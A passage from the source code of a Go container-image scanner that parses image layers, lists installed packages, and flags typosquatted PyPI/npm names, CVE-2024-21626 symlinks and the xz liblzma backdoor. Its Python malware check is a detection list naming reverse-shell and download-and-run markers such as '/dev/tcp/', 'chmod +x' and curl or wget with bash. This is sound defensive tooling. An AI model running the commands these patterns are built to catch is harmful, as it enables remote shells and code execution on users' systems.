hex.EncodeToString(md5h[:]) } func (m *Manifest) GetLayers(ctx context.Context, tarReader *tar.Reader, tempPath string) error { manifest, histories, err := pkg.AnalyzeTarLayer(tarReader, tempPath) if err != nil { return err } m.Hash = md5Stamp() result := gjson.Parse(manifest).Value() if result == nil { err := errors.New("illegal inspector tar file") return err } value := result.([]interface{})[0].(map[string]interface{}) // if not contains name, use tar hash if value["RepoTags"] == nil { m.Name = value["Config"].(string)[:64] } else { m.Name = value["RepoTags"].([]interface{})[0].(string) } layers := value["Layers"].([]interface{}) for _, layer := range layers { // Adapter for the new docker image format after Docker Version 25.0.0 layer = strings.Replace(layer.(string), "blobs/sha256/", "", 1) m.Layers = append(m.Layers, &Layer{ Hash: layer.(string)[:64], Annotation: "", }) } // Re-read the history from the manifest.json for the new docker image format if strings.HasPrefix(value["Config"].(string), "blobs/sha256/") { b, err := os.ReadFile(filepath.Join(tempPath, filepath.Base(value["Config"].(string))+".tar")) histories = string(b) if err != nil { return err } } historyParse := gjson.Get(histories, "history").Value() m.Histories = []*_image.ImageInfo{ { Summary: types.ImageSummary{ ID: value["Config"].(string)[:64], RepoTags: []string{m.Name}, }, History: []image.HistoryResponseItem{}, }, } for _, history := range historyParse.([]interface{}) { mapHistory := history.(map[string]interface{}) pd, _ := time.Parse(time.RFC3339, mapHistory["created"].(string)) h := image.HistoryResponseItem{ Created: pd.Unix(), CreatedBy: mapHistory["created_by"].(string), } if mapHistory["comment"] != nil { h.Comment = mapHistory["comment"].(string) } m.Histories[0].History = append(m.Histories[0].History, h) } return nil } ================================================ FILE: pkg/layer/layer.go ================================================ package layer import ( "archive/tar" "fmt" "os" "path/filepath" "github.com/kvesta/vesta/pkg" ) type Layer struct { Hash string `json:"hash"` Annotation string `json:"path"` } func (l *Layer) Integration(dir, layerHash string) error { layerFile := filepath.Join(dir, layerHash+".tar") layer, err := os.Open(layerFile) if err != nil { return err } defer func() { layer.Close() os.Remove(layerFile) }() layerReader := tar.NewReader(layer) err = pkg.Walk(layerReader, dir) if err != nil { return fmt.Errorf("extract err: %v", err) } return nil } ================================================ FILE: pkg/layer/manifest.go ================================================ package layer import ( _image "github.com/kvesta/vesta/pkg/inspector" ) type Manifest struct { Name string `json:"name"` Hash string `json:"hash"` Layers []*Layer `json:"layers"` Histories []*_image.ImageInfo `json:"histories"` Localpath string `json:"localpath"` } ================================================ FILE: pkg/match/match_test.go ================================================ package match import ( "reflect" "testing" ) func TestPythonMatch(t *testing.T) { type args struct { s string } tests := []struct { name string args args want Suspicion wantErr bool }{ { name: "normal", args: args{s: "django"}, want: Suspicion{ Types: Unknown, OriginPack: "", }, }, { name: "noramlConfusion", args: args{s: "fastapi"}, want: Suspicion{ Types: Unknown, OriginPack: "", }, }, { name: "confusion", args: args{s: "selenuim"}, want: Suspicion{ Types: Confusion, OriginPack: "selenium", }, }, { name: "confusion2", args: args{s: "pilow"}, want: Suspicion{ Types: Confusion, OriginPack: "pillow", }, }, { name: "malware", args: args{s: "smb"}, want: Suspicion{ Types: Malware, OriginPack: "pysmb", }, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { got := PyMatch(tt.args.s) if !reflect.DeepEqual(got, tt.want) { t.Errorf("PyMatch() got = %v, want %v", got, tt.want) } }) } } func TestPythonNormalPackages(t *testing.T) { type args struct { s string } type TestPy struct { name string args args want Suspicion wantErr bool } var tests []TestPy for _, p := range pypis { tests = append(tests, struct { name string args args want Suspicion wantErr bool }{name: p, args: args{s: p}, want: Suspicion{ Types: Unknown, OriginPack: "", }}) } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { got := PyMatch(tt.args.s) if !reflect.DeepEqual(got, tt.want) { t.Errorf("PyMatch() got = %v, want %v", got, tt.want) } }) } } func TestNodeMatch(t *testing.T) { type args struct { s string } tests := []struct { name string args args want Suspicion wantErr bool }{ { name: "confusion", args: args{s: "ladash"}, want: Suspicion{ Types: Confusion, OriginPack: "lodash", }, }, { name: "confusion2", args: args{s: "socketio"}, want: Suspicion{ Types: Confusion, OriginPack: "socket.io", }, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { got := NpmMatch(tt.args.s) if !reflect.DeepEqual(got, tt.want) { t.Errorf("NpmMatch() got = %v, want %v", got, tt.want) } }) } } func TestNpmNormalPackages(t *testing.T) { type args struct { s string } type TestNpm struct { name string args args want Suspicion wantErr bool } var tests []TestNpm for _, p := range npms { tests = append(tests, struct { name string args args want Suspicion wantErr bool }{name: p, args: args{s: p}, want: Suspicion{ Types: Unknown, OriginPack: "", }}) } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { got := PyMatch(tt.args.s) if !reflect.DeepEqual(got, tt.want) { t.Errorf("NpmMatch() got = %v, want %v", got, tt.want) } }) } } ================================================ FILE: pkg/match/node_packs.go ================================================ package match import "strings" var ( npms = []string{"pug", "axios", "typescript", "mongodb", "lodash", "Mongoose", "redux", "osenv", "jest", "qs", "rxjs", "fs-extra", "ua-parser-js", "koa", "express", "d3", "express", "http-proxy", "Fastify", "socket.io", "dotenv", "async", "mssql", "cross-env", "redis", "nedb", "fusion", "asynckit", "run-async", "core-js"} ) func NpmMatch(pack string) Suspicion { t := Suspicion{ Types: Unknown, } // filter the origin packages for _, npm := range npms { if pack == strings.ToLower(npm) { return t } } if p := confusionCheck(pack, npms); p != "" { t.Types = Confusion t.OriginPack = p } return t } ================================================ FILE: pkg/match/python_packs.go ================================================ package match import ( "fmt" "io/ioutil" "os" "regexp" "strings" ) var ( pypis = []string{"requests", "Django", "Flask", "datadog", "numpy", "Pillow", "PyYAML", "PySocks", "Scrapy", "scipy", "scapy", "Twisted", "torch", "torchvision", "pandas", "pastas", "algoliasearch", "tornado", "pypcap", "semidbm", "signalfx", "cassandra-driver", "ShopifyAPI", "zoomeye", "osc", "PyPtt", "flake8", "opencv-python", "distributed", "virtualenv", "selenium", "bs4", "beautifulsoup4", "lxml", "pylint", "pywin32", "web3", "pyebpf", "matplotlib", "pytest", "paramiko", "PySMT", "claripy", "angr", "urllib3", "urllib"} maliciousPypis = map[string]string{ "smi": "pysmi", "smb": "pysmb", "opencv": "opencv-python", "python-mysql": "PyMySQL", "python-ftp": "pyftpdlib", "ascii2text": "art", "zlibsrc": "zlib", "browserdiv": "pybrowsers", "pwn": "pwntools", "pymocks": "unittest.mock", "PyProto2": "unknown", "free-net-vpn": "unknown", "ebpf": "pyebpf", "yaml": "PyYAML", } pyDoubleQuoteRex = regexp.MustCompile(`"(.*?)"`) pySingleQuoteRex = regexp.MustCompile(`'(.*?)'`) ) func PyMatch(pack string) Suspicion { t := Suspicion{ Types: Unknown, } pack = strings.ToLower(pack) // filter the origin packages for _, pypi := range pypis { if pack == strings.ToLower(pypi) { return t } } if p := malwareCheck(pack); p != "" { t.Types = Confusion t.OriginPack = p return t } if p := confusionCheck(pack, pypis); p != "" { t.Types = Confusion t.OriginPack = p } return t } func malwareCheck(pack string) string { for mal, ori := range maliciousPypis { if pack == mal { return ori } } return "" } // PyMalwareScan the malicious packages from pip // reference: https://github.com/DataDog/guarddog func PyMalwareScan(filename string) Suspicion { t := Suspicion{ Types: Unknown, } f, err := os.Open(filename) if err != nil { return t } defer f.Close() data, err := ioutil.ReadAll(f) if err != nil { return t } d := []string{} doubleQuotesMatch := pyDoubleQuoteRex.FindAllStringSubmatch(string(data), -1) singleQuotesMatch := pySingleQuoteRex.FindAllStringSubmatch(string(data), -1) for _, q := range doubleQuotesMatch { d = append(d, q[1]) } for _, q := range singleQuotesMatch { d = append(d, q[1]) } if url := pyCheckLink(d); url != "" { t.Types = Malware t.OriginPack = fmt.Sprintf("suspcious url '%s' are detected.", url) return t } if command := pyCheckCommand(d, string(data)); command != "" { t.Types = Malware t.OriginPack = fmt.Sprintf(`malicious command "%s" are detected.`, command) return t } return t } func pyCheckLink(d []string) string { httpRegex := []*regexp.Regexp{ regexp.MustCompile(`(http[s]?:\/\/bit\.ly.*)$`), regexp.MustCompile(`(http[s]?:\/\/.*\.(link|xyz|tk|ml|ga|cf|gq|pw|top|club|mw|bd|ke|am|sbs|date|quest|cd|bid|cd|ws|icu|cam|uno|email|stream))$`), regexp.MustCompile(`(http[s]?:\/\/.*\.(link|xyz|tk|ml|ga|cf|gq|pw|top|club|mw|bd|ke|am|sbs|date|quest|cd|bid|cd|ws|icu|cam|uno|email|stream)\/)`), } for _, l := range d { for _, reg := range httpRegex { httpMatch := reg.FindStringSubmatch(l) if len(httpMatch) > 0 { return httpMatch[1] } } } return "" } func pyCheckCommand(d []string, data string) string { execRegex := []*regexp.Regexp{ regexp.MustCompile(`os.system\((.*)\)`), regexp.MustCompile(`exec\((.*)\)`), regexp.MustCompile(`os.popen\((.*)\)`), regexp.MustCompile(`eval\((.*)\)`), regexp.MustCompile(`subprocess.Popen\((.*)$,.*\)`), regexp.MustCompile(`os.execl\((.*)\)`), regexp.MustCompile(`os.execve\((.*)\)`), regexp.MustCompile(`os.spawnl\((.*)\)`), regexp.MustCompile(`globals\(\)['eval']\((.*)\)`), } for _, l := range d { // Plain test checking if strings.Contains(l, "powershell") || strings.Contains(l, "chmod +x") || strings.Contains(l, "/dev/tcp/") || (strings.Contains(l, "curl") || strings.Contains(l, "wget") && strings.Contains(l, "bash")) { return l } } for _, reg := range execRegex { regMatch := reg.FindStringSubmatch(data) if len(regMatch) < 2 { continue } if len(regMatch[1]) > 30 { return regMatch[0] } } return "" } ================================================ FILE: pkg/match/utils.go ================================================ package match import ( "strings" "github.com/sergi/go-diff/diffmatchpatch" ) type Suspicion struct { Types Operation OriginPack string } type Operation int8 const ( // Unknown item represents package is not detected. Unknown Operation = 0 // Confusion item represents package is suspect a malicious package. Confusion Operation = 1 // Malware item represents package is discovered as malicious package. Malware Operation = 2 ) func compare(pack1, pack2 string) float64 { dmp := diffmatchpatch.New() diffs := dmp.DiffMain(pack1, pack2, false) matches := 0 for _, diff := range diffs { if diff.Type == 0 { matches += len(diff.Text) } } sums := len(pack1) + len(pack2) if sums > 0 { return 2.0 * float64(matches) / float64(sums) } return 1.0 } func confusionCheck(pack string, datas []string) string { for _, d := range datas { d = strings.ToLower(d) ratio := compare(pack, d) d = strings.ToLower(d) if ratio < 0.99 && ratio > 0.70 { return d } } return "" } ================================================ FILE: pkg/osrelease/analyzer.go ================================================ package osrelease import ( "context" "errors" "io" "io/ioutil" "log" "regexp" "strings" "time" "github.com/kvesta/vesta/pkg/layer" "github.com/docker/docker/api/types" "github.com/docker/docker/api/types/container" "github.com/docker/docker/client" ) // Reference https://manpages.ubuntu.com/manpages/bionic/zh_TW/man5/os-release.5.html var paths = []string{"etc/os-release", "etc/centos-release", "etc/photon-release", "usr/lib/os-release"} func KernelParse(kernel string) KernelVersion { filter := regexp.MustCompile(`[a-zA-Z]`) begin := filter.FindStringIndex(kernel)[0] value := strings.Split(kernel[begin:], " ") publishDate := strings.Replace(strings.Join(value[len(value)-5:len(value)], " "), "UTC ", "", -1) publishDate = strings.TrimSpace(publishDate) pd, _ := time.Parse("Jan 2 15:04:05 2006", publishDate) k := KernelVersion{ Version: value[2], BuiltDate: pd, } return k } // GetKernelVersion get kernel version from host machine // using `docker run` command so that to adapt to docker-desktop // kata-container is not taken into account yet func GetKernelVersion(ctx context.Context) (KernelVersion, error) { log.Printf("Getting kernel version") var kernel KernelVersion cli, err := client.NewClientWithOpts(client.FromEnv, client.WithAPIVersionNegotiation()) if err != nil { return kernel, err } defer cli.Close() images, err := cli.ImageList(ctx, types.ImageListOptions{}) if err != nil { if strings.Contains(err.Error(), "Is the docker daemon running?") { err = errors.New("docker is not running") return kernel, err } return kernel, err } var busyboxImage = false for _, image := range images { if len(image.RepoTags) < 1 { continue } repotag := image.RepoTags[0] if strings.Contains(repotag, "busybox:1.34.1") { busyboxImage = true } } if !busyboxImage { log.Printf("Pulling busybox:1.34.1 image for kernel checking") reader, err := cli.ImagePull(ctx, "busybox:1.34.1", types.ImagePullOptions{}) if err != nil { return kernel, err } defer reader.Close() // Waiting for pulling image ioutil.ReadAll(reader) } resp, err := cli.ContainerCreate(ctx, &container.Config{ Image: "busybox:1.34.1", Cmd: []string{"cat", "/proc/version"}, Tty: false, }, nil, nil, nil, "kernel-checking") if err != nil { return kernel, err } if err := cli.ContainerStart(ctx, resp.ID, types.ContainerStartOptions{}); err != nil { return kernel, err } defer func() { removeOptions := types.ContainerRemoveOptions{ RemoveVolumes: true, Force: true, } if err := cli.ContainerRemove(ctx, resp.ID, removeOptions); err != nil { log.Printf("Unable to remove container %s: %s", resp.ID, err) } }() statusCh, errCh := cli.ContainerWait(ctx, resp.ID, container.WaitConditionNotRunning) select { case err = <-errCh: if err != nil { return kernel, err } case <-statusCh: } out, err := cli.ContainerLogs(ctx, resp.ID, types.ContainerLogsOptions{ShowStdout: true}) if err != nil { return kernel, err } res := strings.Builder{} _, err = io.Copy(&res, out) if err != nil { return kernel, err } kernel = KernelParse(res.String()) return kernel, nil } // DetectOs get os version func DetectOs(ctx context.Context, m layer.Manifest) (*OsVersion, error) { osv := &OsVersion{ NAME: "Linux", OID: "linux", } for _, n := range paths { rd, err := m.File(n) if err != nil { log.Printf("detect os error: %v", err) continue } config := rd.String() if config != "" { osv, err = getOs(config, n) if err != nil { log.Printf("parse os error: %v", err) } break } } return osv, nil } func parse(config, path string) (map[string]string, error) { lines := strings.Split(config, "\n") m := make(map[string]string) for _, line := range lines { if len(line) == 0 { continue } versionRegex := regexp.MustCompile(`(\d+\.)?(\d+\.)?(\*|\d+)$`) switch path { case "etc/os-release", "usr/lib/os-release": index := strings.Index(line, "=") if index > -1 { values := strings.Split(line, "=") values[1] = strings.Replace(values[1], `"`, "", -1) m[values[0]] = values[1] } case "etc/centos-release": m["NAME"] = "CentOS Linux" m["OID"] = "CentOS" m["VERSION_ID"] = versionRegex.FindString(line) case "etc/photon-release": index := strings.Index(line, "=") if index > -1 { values := strings.Split(line, "=") m["VERSION"] = values[1] } else { m["NAME"] = "VMware Photon OS" m["OID"] = "Photon" m["VERSION_ID"] = versionRegex.FindString(line) } default: // ignore } } return m, nil } func getOs(config, path string) (*OsVersion, error) { kv, err := parse(config, path) if err != nil { return nil, err } os := &OsVersion{ NAME: "Linux", OID: "linux", } for k, v := range kv { switch k { case "NAME": os.NAME = v case "OID", "ID": os.OID = v case "VERSION": os.VERSION = v case "VERSION_ID": os.VERSION_ID = v } } return os, nil } ================================================ FILE: pkg/osrelease/osversion.go ================================================ package osrelease import "time" type OsVersion struct { NAME string `json:"name"` OID string `json:"oid"` VERSION string `json:"version"` VERSION_ID string `json:"version___id"` } type KernelVersion struct { Version string BuiltDate time.Time } ================================================ FILE: pkg/packages/apt.go ================================================ package packages import ( "context" "strings" ) // getAptPacks get apt and dpkg packages func (s *Packages) getAptPacks(ctx context.Context, dpkg string) error { packs := strings.Split(dpkg, "\n\n") for _, pe := range packs { if len(pe) < 1 { continue } p := &Package{} peLine := strings.Split(pe, "\n") for _, l := range peLine { index := strings.Index(l, ":") if index > -1 { values := strings.Split(l, ":") values[1] = strings.Replace(values[1], " ", "", -1) switch values[0] { // For ubuntu/debian case "Package": p.Name = values[1] case "Version": if len(values) > 2 { values[2] = strings.Replace(values[2], " ", "", -1) p.Version = values[2] } else { p.Version = values[1] } case "Architecture": p.Architecture = values[1] // For alpine linux case "P": p.Name = values[1] case "V": p.Version = values[1] default: // ignore } } } s.Packs = append(s.Packs, p) } return nil } ================================================ FILE: pkg/packages/arch.go ================================================ package packages import ( "context" "regexp" "strings" ) func (s *Packages) getArchPacks(ctx context.Context, pacman string) error { packs := strings.Split(pacman, "\n") for _, pe := range packs { if len(pe) < 1 { continue } index := strings.Index(pe, "[ALPM] installed") if index > -1 { p := &Package{} inform := regexp.MustCompile(`((\w+\-)?(\w+\-)?(\w+))?\s\((.*?)\)`) value := inform.FindStringSubmatch(pe) if len(value) > 0 { v := strings.Split(value[0], " ") p.Name = v[0] p.Version = value[len(value)-1] } s.Packs = append(s.Packs, p) } } return nil } ================================================ FILE: pkg/packages/general.go ================================================ package packages import ( "bufio" "context" "fmt" "io/fs" "io/ioutil" "os" "path/filepath" "regexp" "sort" "strings" ) func (s *Packages) Traverse(ctx context.Context) error { m := s.Mani fsys := os.DirFS(m.Localpath) if err := fs.WalkDir(fsys, ".", func(path string, d fs.DirEntry, err error) error { switch { case err != nil: return err case d.IsDir(): // Get node model if strings.HasSuffix(path, "node_modules") && strings.Count(path, "node_modules") < 2 { return s.getNodeModulePacks(path) } // Get wordpress version if filepath.Base(path) == "wordpress" && strings.Count(path, "wordpress") < 2 { wordPath := filepath.Join(m.Localpath, path) wordpress, err := getWordpressInfo(wordPath) if err == nil { wordpress.Path = path s.PHPPacks = append(s.PHPPacks, wordpress) } } // Check python virtual environment and exclude poetry if filepath.Base(path) == "site-packages" && !strings.HasPrefix(path, "usr/local/lib") && !strings.Contains(path, "pypoetry") { sitePath := filepath.Join(m.Localpath, path) pips, err := getLocalPythonPacks(sitePath) if err != nil { return err } py := &Python{ Version: fmt.Sprintf("python venv path: %s", path), SitePacks: pips, SitePath: path, } s.PythonPacks = append(s.PythonPacks, py) } // Check special path /var/www/html if path == "var/www/html" { dirPath := filepath.Join(m.Localpath, path) switch getHTMLType(dirPath) { case "php": wordpress, err := getWordpressInfo(dirPath) if err != nil { return err } wordpress.Path = path s.PHPPacks = append(s.PHPPacks, wordpress) default: // ignore } } return nil } // Parse jar, war if strings.HasSuffix(path, ".jar") || strings.HasSuffix(path, ".war") { filename := filepath.Join(m.Localpath, path) f, err := os.Open(filename) if err != nil { return nil } defer f.Close() fi, err := f.Stat() if err != nil { return err } java, err := getJavaPacks(f, fi.Size()) if err != nil { return err } java.Path = path if java.Name == "" { java.Name = filepath.Base(path) } s.JavaPacks = append(s.JavaPacks, java) } // Parse PHP composer.lock if strings.HasSuffix(path, "composer.lock") { filename := filepath.Join(m.Localpath, path) f, err := os.Open(filename) if err != nil { return nil } defer f.Close() php, err := getPHPPacks(f) if err != nil { return err } comparePath := filepath.Join(filepath.Dir(filename), "composer.json") if exists(comparePath) { cf, err := os.Open(comparePath) if err == nil { defer cf.Close() php.Name = parsePHPName(cf) } } if php.Name == "" { php.Name = path } php.Path = path s.PHPPacks = append(s.PHPPacks, php) } // Parse package management of Python poetry if strings.HasSuffix(path, "pyproject.toml") { filename := filepath.Join(m.Localpath, path) py, err := getPyproject(filename) if err != nil { return nil } s.PythonPacks = append(s.PythonPacks, py) } in, err := d.Info() if err != nil { return nil } mode := in.Mode() // Check the link file if mode&os.ModeSymlink != 0 { filename := filepath.Join(m.Localpath, path) targetPath, err := os.Readlink(filename) if err != nil { return err } targetPath = strings.Replace(targetPath, m.Localpath, "", -1) // Check CVE-2024-21626 // Reference: https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv runcRegex := regexp.MustCompile(`(?i)/proc/self/fd`) if runcRegex.MatchString(targetPath) { oth := &Other{ Name: "Malicious file link", Title: "CVE-2024-21626", Score: 7.5, Level: "high", Desc: fmt.Sprintf("File '%s' has been linked to the directory of proc fd: '%s', "+ "which has a potential container escape.", path, targetPath), } s.Others = append(s.Others, oth) } return nil } // Check the liblzma library backdoor // https://www.openwall.com/lists/oss-security/2024/03/29/4 if strings.Contains(path, "liblzma.so") { filename := filepath.Join(m.Localpath, path) if checkLiblzma(filename) { oth := &Other{ Name: "liblzma.so backdoor", Title: "CVE-2024-3094", Score: 9.5, Level: "critical", Desc: fmt.Sprintf("File '%s' is a susupicious backdoor "+ "becuase the malicious code was discovered in the upstream tarballs of xz.", path), } s.Others = append(s.Others, oth) } } // Check the executable file if mode.IsRegular() && mode.Perm()&0555 != 0 { filename := filepath.Join(m.Localpath, path) f, err := os.Open(filename) if err != nil { return nil } defer f.Close() // Parse go binary gobin, err := getGOPacks(f) if err != nil { goto rustCheck } gobin.Path = path s.GOPacks = append(s.GOPacks, gobin) rustCheck: rustbin, err := getRustPacks(f) if err != nil { return nil } rustbin.Path = path s.RustPacks = append(s.RustPacks, rustbin) } return nil }); err != nil { return err } return nil } func getHTMLType(path string) string { extensions := map[string]int{ "php": 0, "js": 0, } files, err := ioutil.ReadDir(path) if err != nil { return "" } for _, file := range files { if file.IsDir() { continue } exSplit := strings.Split(file.Name(), ".") if len(exSplit) < 2 { continue } ex := exSplit[len(exSplit)-1] if _, ok := extensions[ex]; ok { extensions[ex] += 1 } } type kv struct { Key string Value int } var exs []kv for k, v := range extensions { exs = append(exs, kv{k, v}) } sort.Slice(exs, func(i, j int) bool { return exs[i].Value > exs[j].Value }) if exs[0].Value > 0 { return exs[0].Key } return "" } // checkLiblzma check the liblzma library backdoor func checkLiblzma(path string) bool { file, err := os.Open(path) if err != nil { return false } defer file.Close() scanner := bufio.NewScanner(file) signature := "f30f1efa554889f54c89ce5389fb81e7000000804883ec28488954241848894c2410" content := "" for scanner.Scan() { line := scanner.Bytes() content += fmt.Sprintf("%02x", line) } if strings.Contains(content, signature) { return true } return false } ================================================ FILE: pkg/packages/get_package.go ================================================ package packages import ( "context" "log" "strings" ) var ( rpmId = []string{"centos", "rhel", "ol"} ) func (s *Packages) GetApp(ctx context.Context) error { m := s.Mani s.Packs = []*Package{} for _, r := range rpmId { if strings.ToLower(s.OsRelease.OID) == r { err := s.getRpmPacks(ctx) if err != nil { log.Printf("Get rpm packages failed: %v", err) return err } return nil } } rd, err := m.File("var/lib/dpkg/status") if err != nil { log.Printf("Dpkg get failed, error: %v", err) } dpkg := rd.String() if dpkg != "" { err = s.getAptPacks(ctx, dpkg) } rd, err = m.File("lib/apk/db/installed") if err != nil { log.Printf("Apk get failed, error: %v", err) } apk := rd.String() if apk != "" { err = s.getAptPacks(ctx, apk) } rd, err = m.File("var/log/pacman.log") if err != nil { log.Printf("Pacman get failed, error: %v", err) } pacman := rd.String() if pacman != "" { err = s.getArchPacks(ctx, pacman) } err = s.getSitePacks(ctx) err = s.Traverse(ctx) return err } ================================================ FILE: pkg/packages/go.go ================================================ package packages import ( "debug/buildinfo" "io" "strings" ) type MOD struct { Name string `json:"name"` Path string `json:"path"` Version string `json:"version"` } type GOBIN struct { Name string `json:"name"` Path string `json:"path"` Deps []*MOD `json:"deps"` } func getGOPacks(rt io.ReaderAt) (*GOBIN, error) { gobin := &GOBIN{} mods := []*MOD{} info, err := buildinfo.Read(rt) if err != nil { return gobin, err } if info.Main.Path == "" { gobin.Name = "gobinary" } else { nameSplit := strings.Split(info.Main.Path, "/") gobin.Name = nameSplit[len(nameSplit)-1] } for _, dep := range info.Deps { if dep.Path == "" || !strings.Contains(dep.Path, "github.com") { continue } modNameArray := strings.Split(dep.Path, "/") if len(modNameArray) > 3 { // Submodule of the origin module continue } mod := &MOD{ Name: modNameArray[2], Path: dep.Path, Version: dep.Version, } mods = append(mods, mod) } gobin.Deps = mods return gobin, nil } ================================================ FILE: pkg/packages/java.go ================================================ package packages import ( "archive/zip" "errors" "io" "io/ioutil" "path/filepath" "regexp" "strings" ) type JAVA struct { Name string `json:"name"` Path string `json:"path"` Jars []*Jar `json:"jars"` } type Jar struct { Name string Version string } var ( versionReg = regexp.MustCompile(`version=(.*)`) artifactReg = regexp.MustCompile(`artifactId=(.*)`) NameRegs = []*regexp.Regexp{ regexp.MustCompile(`Implementation-Title: (.*)`), regexp.MustCompile(`Start-Class: (.*)`), regexp.MustCompile(`Specification-Title: (.*)`), } // Reference: https://github.com/aquasecurity/go-dep-parser/blob/main/pkg/java/jar/parse.go#L24 jarRegEx = regexp.MustCompile(`^([a-zA-Z0-9\._-]*[^-*])-(\d\S*(?:-SNAPSHOT)?).jar$`) jarNameMap = map[string]string{ "log4j-core": "log4j", } ) func getJavaPacks(rt io.ReaderAt, size int64) (*JAVA, error) { java := &JAVA{} jars := []*Jar{} jar, err := zip.NewReader(rt, size) if err != nil { return java, err } for _, f := range jar.File { switch { case strings.HasSuffix(f.Name, "pom.properties"): property, err := parseProperties(f) if err != nil { continue } jars = append(jars, property) case strings.HasSuffix(f.Name, "MANIFEST.MF"): java.Name = strings.TrimSpace(parseManifest(f)) case strings.HasSuffix(f.Name, ".jar"): lib, err := parseLib(f.Name) if err != nil { continue } jars = append(jars, lib) default: // ignore } } java.Jars = jars return java, nil } func parseProperties(file *zip.File) (*Jar, error) { jar := &Jar{} jr, err := file.Open() if err != nil { return jar, err } defer jr.Close() d, _ := ioutil.ReadAll(jr) data := string(d) name := artifactReg.FindStringSubmatch(data) if len(name) > 1 { jar.Name = name[1] } jarVersion := versionReg.FindStringSubmatch(data) if len(jarVersion) > 1 { jar.Version = jarVersion[1] } else { err = errors.New("no version find") return jar, err } return jar, nil } func parseManifest(file *zip.File) string { mani, err := file.Open() if err != nil { return "" } defer mani.Close() d, _ := ioutil.ReadAll(mani) data := string(d) for _, reg := range NameRegs { title := reg.FindStringSubmatch(data) if len(title) > 1 { return title[1] } } return "" } func parseLib(jarName string) (*Jar, error) { jar := &Jar{} jarVersion := filepath.Base(jarName) jarMath := jarRegEx.FindStringSubmatch(jarVersion) if len(jarMath) > 2 { jar.Version = jarMath[2] } else { err := errors.New("not a jar library") return jar, err } jar.Name = jarMath[1] for k, v := range jarNameMap { if jar.Name == k { jar.Name = v break } } return jar, nil } ================================================ FILE: pkg/packages/node.go ================================================ package packages import ( "fmt" "io/fs" "io/ioutil" "os" "path/filepath" "strings" "github.com/tidwall/gjson" ) type NPM struct { Name string `json:"name"` Version string `json:"version"` } type Node struct { Version string `json:"version"` NPMS []*NPM `json:"NPMS"` } func (s *Packages) getNodeModulePacks(nodePath string) error { m := s.Mani sys := filepath.Join(m.Localpath, nodePath) dir, err := ioutil.ReadDir(sys) if err != nil { return err } npms, err := getNodeModules(sys, dir) node := &Node{ Version: fmt.Sprintf(`nodejs (%s)`, strings.TrimSuffix(nodePath, "node_modules")), NPMS: npms, } if strings.Contains(nodePath, "usr/local/lib/node_modules") { node.Version = "nodejs (global)" } s.NodePacks = append(s.NodePacks, node) return nil } func getNodeModules(path string, dir []fs.FileInfo) ([]*NPM, error) { npms := []*NPM{} for _, f := range dir { if f.IsDir() { jsonFile := filepath.Join(path, f.Name(), "package.json") if ok := exists(jsonFile); !ok { continue } moduleFile, err := os.Open(jsonFile) if err != nil { continue } data, _ := ioutil.ReadAll(moduleFile) version := gjson.Get(string(data), "version") npm := &NPM{ Version: version.String(), Name: f.Name(), } npms = append(npms, npm) moduleFile.Close() } } return npms, nil } ================================================ FILE: pkg/packages/package.go ================================================ package packages import ( "github.com/kvesta/vesta/pkg/layer" "github.com/kvesta/vesta/pkg/osrelease" ) type Packages struct { Mani layer.Manifest `json:"manifest"` OsRelease osrelease.OsVersion `json:"os_release"` // List all installed packages Packs []*Package `json:"packs"` PythonPacks []*Python `json:"python_pack"` NodePacks []*Node `json:"node_packs"` GOPacks []*GOBIN `json:"go_packs"` JavaPacks []*JAVA `json:"java_packs"` PHPPacks []*PHP `json:"php_packs"` RustPacks []*Rust `json:"rust_packs"` Others []*Other `json:"others"` } type Package struct { PID string `json:"pid"` Name string `json:"name"` Version string `json:"version"` Architecture string `json:"architecture"` } type Other struct { Name string `json:"name"` Title string `json:"title"` Score float64 `json:"score"` Level string `json:"level"` Desc string `json:"description"` } ================================================ FILE: pkg/packages/parse_test.go ================================================ package packages import ( "io" "os" "reflect" "testing" ) func TestParseGo(t *testing.T) { type args struct { r io.ReaderAt } f, _ := os.Open("testdata/gobintest") defer f.Close() goResult := &GOBIN{ Name: "gobinary", Deps: []*MOD{ { Name: "go-querystring", Path: "github.com/google/go-querystring", Version: "v1.1.0", }, }, } tests := []struct { name string args args want *GOBIN wantErr bool }{ { name: "parseGoTest", args: args{r: f}, want: goResult, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { got, err := getGOPacks(tt.args.r) if (err != nil) != tt.wantErr { t.Errorf("parseGo() error = %v, wantErr %v", err, tt.wantErr) return } if !reflect.DeepEqual(got, tt.want) { t.Errorf("parseGo() got = %v, want %v", got, tt.want) } }) } } func TestParseJava(t *testing.T) { type args struct { rt io.ReaderAt } f, _ := os.Open("testdata/test.jar") defer f.Close() fi, _ := f.Stat() javaResult := &JAVA{ Name: "Winstone", Jars: []*Jar{ { Name: "winstone", Version: "6.6", }, { Name: "slf4j-api", Version: "2.0.3", }, { Name: "slf4j-jdk14", Version: "2.0.3", }, }, } tests := []struct { name string args args want *JAVA wantErr bool }{ { name: "parseJavaTest", args: args{rt: f}, want: javaResult, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { got, err := getJavaPacks(tt.args.rt, fi.Size()) if (err != nil) != tt.wantErr { t.Errorf("parseJava() error = %v, wantErr %v", err, tt.wantErr) return } if !reflect.DeepEqual(got, tt.want) { t.Errorf("parseJava() got = %v, want %v", got, tt.want) } }) } } func TestParsePHP(t *testing.T) { type args struct { r io.Reader } f, _ := os.Open("testdata/composer.lock") defer f.Close() phpResult := &PHP{ Packs: []*PHPPack{ { Name: "thinkphp", Component: "topthink/framework", Version: "v5.0.23", }, { Name: "think-captcha", Component: "topthink/think-captcha", Version: "v1.0.7", }, { Name: "think-installer", Component: "topthink/think-installer", Version: "v1.0.12", }, }, } tests := []struct { name string args args want *PHP wantErr bool }{ { name: "parsePHPTest", args: args{r: f}, want: phpResult, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { got, err := getPHPPacks(tt.args.r) if (err != nil) != tt.wantErr { t.Errorf("parsePHP() error = %v, wantErr %v", err, tt.wantErr) return } if !reflect.DeepEqual(got, tt.want) { t.Errorf("parsePHP() got = %v, want %v", got, tt.want) } }) } } ================================================ FILE: pkg/packages/php.go ================================================ package packages import ( "errors" "fmt" "io" "io/ioutil" "os" "path/filepath" "regexp" "strings" "github.com/tidwall/gjson" ) type PHP struct 